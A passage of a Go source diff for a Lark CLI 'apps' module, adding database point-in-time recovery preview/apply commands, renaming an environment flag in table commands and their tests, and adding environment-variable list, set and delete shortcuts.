out["storage_quota_bytes"] = data["storage_quota_bytes"]
|
||||
if v, ok := data["usage_percent"]; ok {
|
||||
out["usage_percent"] = v
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// renderDbQuotaPretty 打 Storage(已用 / 配额 (百分比))与 Tables / Views 行(标签对齐 miaoda-cli)。
|
||||
func renderDbQuotaPretty(w io.Writer, data map[string]interface{}) {
|
||||
used := humanBytes(data["storage_used_bytes"])
|
||||
usage := used
|
||||
if q, ok := numericAsFloat(data["storage_quota_bytes"]); ok && q > 0 {
|
||||
pct := ""
|
||||
if p, ok := numericAsFloat(data["usage_percent"]); ok {
|
||||
pct = fmt.Sprintf(" (%.1f%%)", p)
|
||||
}
|
||||
usage = fmt.Sprintf("%s / %s%s", used, humanBytes(data["storage_quota_bytes"]), pct)
|
||||
}
|
||||
pairs := [][2]string{{"Storage", usage}}
|
||||
if f, ok := numericAsFloat(data["tables"]); ok {
|
||||
pairs = append(pairs, [2]string{"Tables", fmt.Sprintf("%d", int64(f))})
|
||||
}
|
||||
if f, ok := numericAsFloat(data["views"]); ok {
|
||||
pairs = append(pairs, [2]string{"Views", fmt.Sprintf("%d", int64(f))})
|
||||
}
|
||||
renderKeyValuePairs(w, pairs)
|
||||
}
|
||||
267
shortcuts/apps/apps_db_recovery.go
Normal file
267
shortcuts/apps/apps_db_recovery.go
Normal file
@@ -0,0 +1,267 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbRecoveryHint = "PITR window is up to 7 days back, limited by your last `+db-env-migrate`; pass --target as a time (e.g. 2h / 2026-04-15 / 2026-04-15T10:00:00Z)"
|
||||
|
||||
// AppsDBRecoveryDiff 预览把数据库恢复到某个时间点会带来的变更(PITR diff,不落地)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/env_recovery,body {target, dry_run:true} → preview_request_id,
|
||||
// 轮询 env_recovery_diff_status 至终态,返回受影响表与行数变化。预览也需 spark:app:write scope。
|
||||
var AppsDBRecoveryDiff = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-recovery-diff",
|
||||
Description: "Preview restoring the database to a point in time (PITR diff)",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-recovery-diff --app-id <app_id> --target 2h",
|
||||
"Apply with +db-recovery-apply --target <same> --yes.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "target", Desc: "point in time to restore to; relative (2h/3d) | date | datetime | ISO 8601 w/ TZ", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return normalizeTimeFlags(rctx, "target")
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().POST(appRecoveryPath(appID)).Desc("Preview PITR recovery").
|
||||
Body(map[string]interface{}{"target": rctx.Str("target"), "dry_run": true})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target := rctx.Str("target")
|
||||
preview, err := runRecoveryPreview(rctx, appID, target)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
out := recoveryDiffOutput(target, preview)
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
renderRecoveryDiff(w, target, out)
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// AppsDBRecoveryApply 把数据库恢复到某个时间点(覆盖当前数据,异步,CLI 轮询至完成)。
|
||||
//
|
||||
// POST /apps/{app_id}/db/env_recovery,body {target, dry_run:false};目标=当前态时短路 no_changes,
|
||||
// 否则轮询 env_recovery_apply_status 至 success。high-risk-write。
|
||||
var AppsDBRecoveryApply = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-recovery-apply",
|
||||
Description: "Restore the database to a point in time (overwrites current data, irreversible)",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +db-recovery-apply --app-id <app_id> --target 2026-04-15T10:00:00Z --yes",
|
||||
"Preview first with +db-recovery-diff.",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "target", Desc: "point in time to restore to; relative (2h/3d) | date | datetime | ISO 8601 w/ TZ", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return normalizeTimeFlags(rctx, "target")
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().POST(appRecoveryPath(appID)).Desc("Apply PITR recovery").
|
||||
Body(map[string]interface{}{"target": rctx.Str("target"), "dry_run": false})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target := rctx.Str("target")
|
||||
stop := rctx.StartSpinner("Restoring database (target: " + target + ")")
|
||||
defer stop()
|
||||
submit, err := rctx.CallAPITyped("POST", appRecoveryPath(appID), nil, map[string]interface{}{"target": target, "dry_run": false})
|
||||
if err != nil {
|
||||
return withAppsHint(err, dbRecoveryHint)
|
||||
}
|
||||
// 目标=当前态 → 后端短路 no_changes,不轮询。
|
||||
if strings.ToLower(common.GetString(submit, "status")) == "no_changes" {
|
||||
stop()
|
||||
out := map[string]interface{}{"status": "no_changes", "target": target}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
io.WriteString(w, "No changes — database is already at this state.\n")
|
||||
})
|
||||
return nil
|
||||
}
|
||||
final, perr := pollUntil(rctx.Ctx(), 2*time.Second, 2*time.Minute,
|
||||
func() (map[string]interface{}, error) {
|
||||
return rctx.CallAPITyped("GET", appRecoveryApplyStatusPath(appID), nil, nil)
|
||||
},
|
||||
func(d map[string]interface{}) (bool, error) {
|
||||
switch strings.ToLower(common.GetString(d, "status")) {
|
||||
case "success", "restored", "ready":
|
||||
return true, nil
|
||||
case "failed":
|
||||
msg := common.GetString(d, "error_message")
|
||||
if msg == "" {
|
||||
msg = fmt.Sprintf("recovery to %s failed", target)
|
||||
}
|
||||
return false, withAppsHint(errs.NewAPIError(errs.SubtypeServerError, "%s", msg), dbRecoveryHint)
|
||||
}
|
||||
return false, nil
|
||||
})
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
stop()
|
||||
out := map[string]interface{}{"status": "restored", "target": target}
|
||||
if n := intFromAny(final["restore_time_sec"]); n > 0 {
|
||||
out["restore_time_sec"] = n
|
||||
}
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
if n, ok := out["restore_time_sec"].(int); ok {
|
||||
fmt.Fprintf(w, "✓ Database restored to %s (%ds elapsed)\n", target, n)
|
||||
} else {
|
||||
fmt.Fprintf(w, "✓ Database restored to %s\n", target)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// runRecoveryPreview 触发 PITR 预览(dry_run=true)拿 preview_request_id,轮询 diff_status 至终态。
|
||||
func runRecoveryPreview(rctx *common.RuntimeContext, appID, target string) (map[string]interface{}, error) {
|
||||
stop := rctx.StartSpinner("Previewing recovery impact (target: " + target + ")")
|
||||
defer stop()
|
||||
submit, err := rctx.CallAPITyped("POST", appRecoveryPath(appID), nil, map[string]interface{}{"target": target, "dry_run": true})
|
||||
if err != nil {
|
||||
return nil, withAppsHint(err, dbRecoveryHint)
|
||||
}
|
||||
prid := common.GetString(submit, "preview_request_id")
|
||||
if prid == "" {
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "recovery diff did not return preview_request_id")
|
||||
}
|
||||
return pollUntil(rctx.Ctx(), 1*time.Second, 2*time.Minute,
|
||||
func() (map[string]interface{}, error) {
|
||||
return rctx.CallAPITyped("GET", appRecoveryDiffStatusPath(appID), map[string]interface{}{"preview_request_id": prid}, nil)
|
||||
},
|
||||
func(d map[string]interface{}) (bool, error) {
|
||||
switch strings.ToLower(common.GetString(d, "preview_status")) {
|
||||
case "success":
|
||||
return true, nil
|
||||
case "failed":
|
||||
msg := common.GetString(d, "error_message")
|
||||
if msg == "" {
|
||||
msg = "recovery preview failed"
|
||||
}
|
||||
return false, withAppsHint(errs.NewAPIError(errs.SubtypeServerError, "%s", msg), dbRecoveryHint)
|
||||
}
|
||||
return false, nil
|
||||
})
|
||||
}
|
||||
|
||||
type recoveryChange struct {
|
||||
Table string `json:"table"`
|
||||
Inserted interface{} `json:"inserted,omitempty"`
|
||||
Deleted interface{} `json:"deleted,omitempty"`
|
||||
Action string `json:"action,omitempty"`
|
||||
DroppedAt string `json:"dropped_at,omitempty"`
|
||||
}
|
||||
|
||||
// recoveryDiffOutput 组装 diff 输出:target / tables_affected / changes[] / estimated_seconds。
|
||||
func recoveryDiffOutput(target string, preview map[string]interface{}) map[string]interface{} {
|
||||
arr, _ := preview["changes"].([]interface{})
|
||||
changes := make([]recoveryChange, 0, len(arr))
|
||||
for _, it := range arr {
|
||||
m, ok := it.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
changes = append(changes, recoveryChange{
|
||||
Table: common.GetString(m, "table"),
|
||||
Inserted: m["inserted"],
|
||||
Deleted: m["deleted"],
|
||||
Action: common.GetString(m, "action"),
|
||||
DroppedAt: common.GetString(m, "dropped_at"),
|
||||
})
|
||||
}
|
||||
tablesAffected := intFromAny(preview["tables_affected"])
|
||||
if tablesAffected == 0 {
|
||||
tablesAffected = len(changes)
|
||||
}
|
||||
est := intFromAny(preview["estimated_seconds"])
|
||||
if est == 0 {
|
||||
est = 30 // PRD 兜底
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"target": target, "tables_affected": tablesAffected,
|
||||
"changes": changes, "estimated_seconds": est,
|
||||
}
|
||||
}
|
||||
|
||||
// renderRecoveryDiff 渲染 PITR 恢复预览:受影响表数、逐表变化描述及预估耗时;无变更打提示。
|
||||
func renderRecoveryDiff(w io.Writer, target string, out map[string]interface{}) {
|
||||
changes, _ := out["changes"].([]recoveryChange)
|
||||
if len(changes) == 0 {
|
||||
io.WriteString(w, "No changes — database is already at this state.\n")
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(w, "Recovery preview (→ %s):\n\n", target)
|
||||
fmt.Fprintf(w, " tables affected: %d\n", intFromAny(out["tables_affected"]))
|
||||
for _, c := range changes {
|
||||
fmt.Fprintf(w, " %s: %s\n", c.Table, describeRecoveryChange(c))
|
||||
}
|
||||
fmt.Fprintf(w, "\n estimated time: ~%ds\n", intFromAny(out["estimated_seconds"]))
|
||||
}
|
||||
|
||||
// describeRecoveryChange:schema 动作 或 数据行变化二选一(无 modified,对齐设计)。
|
||||
func describeRecoveryChange(c recoveryChange) string {
|
||||
switch c.Action {
|
||||
case "restore_table":
|
||||
return "table will be restored"
|
||||
case "drop_table":
|
||||
return "table will be dropped"
|
||||
case "alter_table":
|
||||
return "table will be altered"
|
||||
case "unavailable":
|
||||
if c.DroppedAt != "" {
|
||||
return "diff unavailable: " + c.DroppedAt
|
||||
}
|
||||
return "diff unavailable"
|
||||
}
|
||||
parts := make([]string, 0, 2)
|
||||
if n := intFromAny(c.Inserted); n != 0 {
|
||||
parts = append(parts, fmt.Sprintf("+%d rows", n))
|
||||
}
|
||||
if n := intFromAny(c.Deleted); n != 0 {
|
||||
parts = append(parts, fmt.Sprintf("-%d rows", n))
|
||||
}
|
||||
if len(parts) == 0 {
|
||||
return "no changes"
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbTableGetHint = "verify --app-id and --table are correct; list tables with `lark-cli apps +db-table-list --app-id <app_id>`; if targeting --env dev, create it first with `lark-cli apps +db-env-create --app-id <app_id> --env dev`"
|
||||
const dbTableGetHint = "verify --app-id and --table are correct; list tables with `lark-cli apps +db-table-list --app-id <app_id>`; if targeting --environment dev, create it first with `lark-cli apps +db-env-create --app-id <app_id> --environment dev`"
|
||||
|
||||
// AppsDBTableGet gets one table's structure (动词对齐 +db-table-list)。
|
||||
//
|
||||
@@ -34,15 +34,17 @@ var AppsDBTableGet = common.Shortcut{
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "app id", Required: true},
|
||||
{Name: "table", Desc: "table name", Required: true},
|
||||
{Name: "env", Default: "online", Enum: []string{"dev", "online"}, Desc: "target db environment"},
|
||||
},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if strings.TrimSpace(rctx.Str("table")) == "" {
|
||||
return appsValidationParamError("--table", "--table is required")
|
||||
}
|
||||
@@ -78,7 +80,7 @@ var AppsDBTableGet = common.Shortcut{
|
||||
// CLI 检测 rctx.Format == "pretty" 时给 server 带 format=ddl,要求返 CREATE 语句文本;
|
||||
// 其他 format(含默认 json)不传该参数,让 server 返默认结构化字段。
|
||||
func buildDBTableGetParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
params := map[string]interface{}{"env": rctx.Str("env")}
|
||||
params := map[string]interface{}{"env": dbEnv(rctx)}
|
||||
if rctx.Format == "pretty" {
|
||||
params["format"] = "ddl"
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const dbTableListHint = "verify --app-id is correct; if targeting --env dev, create it first with `lark-cli apps +db-env-create --app-id <app_id> --env dev`"
|
||||
const dbTableListHint = "verify --app-id is correct; if targeting --environment dev, create it first with `lark-cli apps +db-env-create --app-id <app_id> --environment dev`"
|
||||
|
||||
// AppsDBTableList lists tables in an app's database.
|
||||
//
|
||||
@@ -38,15 +38,16 @@ var AppsDBTableList = common.Shortcut{
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "app id", Required: true},
|
||||
{Name: "env", Default: "online", Enum: []string{"dev", "online"}, Desc: "target db environment"},
|
||||
{Name: "page-size", Type: "int", Default: "20", Desc: "page size"},
|
||||
{Name: "page-token", Desc: "pagination cursor from previous response"},
|
||||
},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
_, err := requireAppID(rctx.Str("app-id"))
|
||||
return err
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
return rejectLegacyEnvFlag(rctx)
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
@@ -110,7 +111,7 @@ func projectTableListItems(raw interface{}) []dbTableListItem {
|
||||
|
||||
func buildDBTableListParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
params := map[string]interface{}{
|
||||
"env": rctx.Str("env"),
|
||||
"env": dbEnv(rctx),
|
||||
"page_size": rctx.Int("page-size"),
|
||||
}
|
||||
if token := strings.TrimSpace(rctx.Str("page-token")); token != "" {
|
||||
|
||||
@@ -31,7 +31,7 @@ func TestAppsDBTableList_BusinessErrorSurfacedAsTypedEnvelope(t *testing.T) {
|
||||
})
|
||||
|
||||
err := runAppsShortcut(t, AppsDBTableList,
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--env", "dev", "--as", "user"},
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--environment", "dev", "--as", "user"},
|
||||
factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("expected business error to surface, got nil; stdout=%s", stdout.String())
|
||||
@@ -159,7 +159,7 @@ func TestAppsDBTableList_RequiresAppID(t *testing.T) {
|
||||
func TestAppsDBTableList_DryRunSendsPaginationAndEnv(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsDBTableList,
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--env", "dev",
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--environment", "dev",
|
||||
"--page-size", "50", "--page-token", "cursor-abc",
|
||||
"--dry-run", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
@@ -212,7 +212,7 @@ func TestAppsDBTableList_DoesNotSendIncludeStatsQuery(t *testing.T) {
|
||||
func TestAppsDBTableList_RejectsBadEnv(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsDBTableList,
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--env", "prod", "--as", "user"}, factory, stdout)
|
||||
[]string{"+db-table-list", "--app-id", "app_x", "--environment", "prod", "--as", "user"}, factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "env") {
|
||||
t.Fatalf("expected env enum rejection, got %v", err)
|
||||
}
|
||||
|
||||
412
shortcuts/apps/apps_env.go
Normal file
412
shortcuts/apps/apps_env.go
Normal file
@@ -0,0 +1,412 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultAppsEnvVarEnv = "dev"
|
||||
defaultAppsEnvVarScene = 2
|
||||
)
|
||||
|
||||
// AppsEnvVarList lists app environment variables without values by default.
|
||||
var AppsEnvVarList = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+env-list",
|
||||
Description: "List app environment variables",
|
||||
Risk: "read",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +env-list --app-id <app_id>",
|
||||
},
|
||||
Scopes: []string{"spark:app:read"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "app ID", Required: true},
|
||||
{Name: appsEnvironmentFlag, Default: defaultAppsEnvVarEnv, Enum: []string{"dev", "online"}, Desc: "target environment"},
|
||||
{Name: "include-values", Type: "bool", Desc: "include environment variable values"},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validateEnvVarEnv(envVarEnv(rctx)); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(envVarCollectionPath(appID)).
|
||||
Desc("List app environment variables").
|
||||
Body(buildEnvVarListBody(rctx))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
includeValues := rctx.Bool("include-values")
|
||||
data, err := rctx.CallAPITyped("POST", envVarCollectionPath(appID), nil, buildEnvVarListBody(rctx))
|
||||
if err != nil {
|
||||
return withAppsHint(err, appIDListHint)
|
||||
}
|
||||
out := normalizeEnvVarListOutput(data, includeValues)
|
||||
rctx.OutFormat(out, nil, func(w io.Writer) {
|
||||
appsPrintSchemaTable(w, out.Items, envVarListSchema(includeValues))
|
||||
})
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// AppsEnvVarSet sets one app environment variable. Values are never printed.
|
||||
var AppsEnvVarSet = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+env-set",
|
||||
Description: "Set an app environment variable",
|
||||
Risk: "write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +env-set --app-id <app_id> --key FOO --value bar",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "app ID", Required: true},
|
||||
{Name: appsEnvironmentFlag, Default: defaultAppsEnvVarEnv, Enum: []string{"dev", "online"}, Desc: "target environment"},
|
||||
{Name: "key", Desc: "environment variable key", Required: true},
|
||||
{Name: "value", Desc: "environment variable value", Required: true, Input: []string{common.File, common.Stdin}},
|
||||
{Name: "yes", Type: "bool", Desc: "confirm setting variables in online"},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validateEnvVarEnv(envVarEnv(rctx)); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := requireEnvVarKey(rctx.Str("key")); err != nil {
|
||||
return err
|
||||
}
|
||||
if rctx.Str("value") == "" {
|
||||
return appsValidationParamError("--value", "--value is required")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
key, _ := requireEnvVarKey(rctx.Str("key"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(envVarCreateOrUpdatePath(appID)).
|
||||
Desc("Set app environment variable").
|
||||
Body(map[string]interface{}{
|
||||
"key": key,
|
||||
"env": envVarEnv(rctx),
|
||||
"value": "<redacted>",
|
||||
})
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
env := envVarEnv(rctx)
|
||||
if env == "online" && !rctx.Bool("yes") {
|
||||
return errs.NewConfirmationRequiredError(
|
||||
errs.RiskWrite,
|
||||
"apps +env-set --environment online",
|
||||
"apps +env-set --environment online requires confirmation",
|
||||
).WithHint("add --yes to confirm")
|
||||
}
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
key, err := requireEnvVarKey(rctx.Str("key"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := rctx.CallAPITyped("POST", envVarCreateOrUpdatePath(appID), nil, map[string]interface{}{
|
||||
"key": key,
|
||||
"env": env,
|
||||
"value": rctx.Str("value"),
|
||||
})
|
||||
if err != nil {
|
||||
return withAppsHint(err, envVarMutationHint(err))
|
||||
}
|
||||
action := envVarStringAny(data, "action")
|
||||
if action == "" {
|
||||
action = "set"
|
||||
}
|
||||
rctx.OutFormat(map[string]interface{}{
|
||||
"key": key,
|
||||
"env": env,
|
||||
"action": action,
|
||||
}, nil, nil)
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// AppsEnvVarDelete deletes one or more app environment variables.
|
||||
var AppsEnvVarDelete = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+env-delete",
|
||||
Description: "Delete app environment variables",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
"Example: lark-cli apps +env-delete --app-id <app_id> --key FOO --yes",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "app ID", Required: true},
|
||||
{Name: appsEnvironmentFlag, Default: defaultAppsEnvVarEnv, Enum: []string{"dev", "online"}, Desc: "target environment"},
|
||||
{Name: "key", Type: "string_array", Desc: "environment variable key; repeatable", Required: true},
|
||||
},
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := validateEnvVarEnv(envVarEnv(rctx)); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := requireEnvVarKeys(rctx.StrArray("key"))
|
||||
return err
|
||||
},
|
||||
DryRun: func(ctx context.Context, rctx *common.RuntimeContext) *common.DryRunAPI {
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
keys, _ := requireEnvVarKeys(rctx.StrArray("key"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(envVarDeletePath(appID)).
|
||||
Desc("Delete app environment variables").
|
||||
Body(buildEnvVarDeleteBody(envVarEnv(rctx), keys))
|
||||
},
|
||||
Execute: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
appID, err := requireAppID(rctx.Str("app-id"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
keys, err := requireEnvVarKeys(rctx.StrArray("key"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
env := envVarEnv(rctx)
|
||||
data, err := rctx.CallAPITyped("POST", envVarDeletePath(appID), nil, buildEnvVarDeleteBody(env, keys))
|
||||
if err != nil {
|
||||
return withAppsHint(err, envVarMutationHint(err))
|
||||
}
|
||||
deletedKeys := envVarStringSliceAny(data, "deleted_keys", "deletedKeys")
|
||||
if len(deletedKeys) == 0 {
|
||||
deletedKeys = keys
|
||||
}
|
||||
rctx.OutFormat(map[string]interface{}{
|
||||
"env": env,
|
||||
"deleted_keys": deletedKeys,
|
||||
}, nil, nil)
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
func envVarEnv(rctx *common.RuntimeContext) string {
|
||||
env := strings.TrimSpace(rctx.Str(appsEnvironmentFlag))
|
||||
if env == "" {
|
||||
return defaultAppsEnvVarEnv
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
func envVarCollectionPath(appID string) string {
|
||||
return appScopedPath(appID, "env_vars")
|
||||
}
|
||||
|
||||
func envVarCreateOrUpdatePath(appID string) string {
|
||||
return appScopedPath(appID, "create_or_update_env_var")
|
||||
}
|
||||
|
||||
func envVarDeletePath(appID string) string {
|
||||
return appScopedPath(appID, "delete_env_vars")
|
||||
}
|
||||
|
||||
func buildEnvVarListBody(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
return map[string]interface{}{
|
||||
"env": envVarEnv(rctx),
|
||||
"scene": defaultAppsEnvVarScene,
|
||||
}
|
||||
}
|
||||
|
||||
func buildEnvVarDeleteBody(env string, keys []string) map[string]interface{} {
|
||||
return map[string]interface{}{
|
||||
"env": env,
|
||||
"keys": keys,
|
||||
}
|
||||
}
|
||||
|
||||
func envVarMutationHint(err error) string {
|
||||
if isEnvVarNotModifiableError(err) {
|
||||
return "this environment variable is platform-managed and cannot be modified; remove protected keys from --key and retry only with user-defined variables"
|
||||
}
|
||||
return appIDListHint
|
||||
}
|
||||
|
||||
func isEnvVarNotModifiableError(err error) bool {
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(strings.ToLower(p.Message), "not modifiable")
|
||||
}
|
||||
|
||||
func requireEnvVarKey(raw string) (string, error) {
|
||||
key := strings.TrimSpace(raw)
|
||||
if key == "" {
|
||||
return "", appsValidationParamError("--key", "--key is required")
|
||||
}
|
||||
if !envKeyPattern.MatchString(key) {
|
||||
return "", appsValidationParamError("--key", "--key must match [A-Za-z_][A-Za-z0-9_]*")
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func requireEnvVarKeys(raw []string) ([]string, error) {
|
||||
keys := cleanRepeatedStrings(raw)
|
||||
if len(keys) == 0 {
|
||||
return nil, appsValidationParamError("--key", "--key is required")
|
||||
}
|
||||
for _, key := range keys {
|
||||
if !envKeyPattern.MatchString(key) {
|
||||
return nil, appsValidationParamError("--key", "--key must match [A-Za-z_][A-Za-z0-9_]*")
|
||||
}
|
||||
}
|
||||
return keys, nil
|
||||
}
|
||||
|
||||
type envVarListOutput struct {
|
||||
Items []map[string]interface{} `json:"items"`
|
||||
PageToken string `json:"page_token"`
|
||||
HasMore bool `json:"has_more"`
|
||||
}
|
||||
|
||||
func normalizeEnvVarListOutput(data map[string]interface{}, includeValues bool) envVarListOutput {
|
||||
src := envVarResponseMap(data)
|
||||
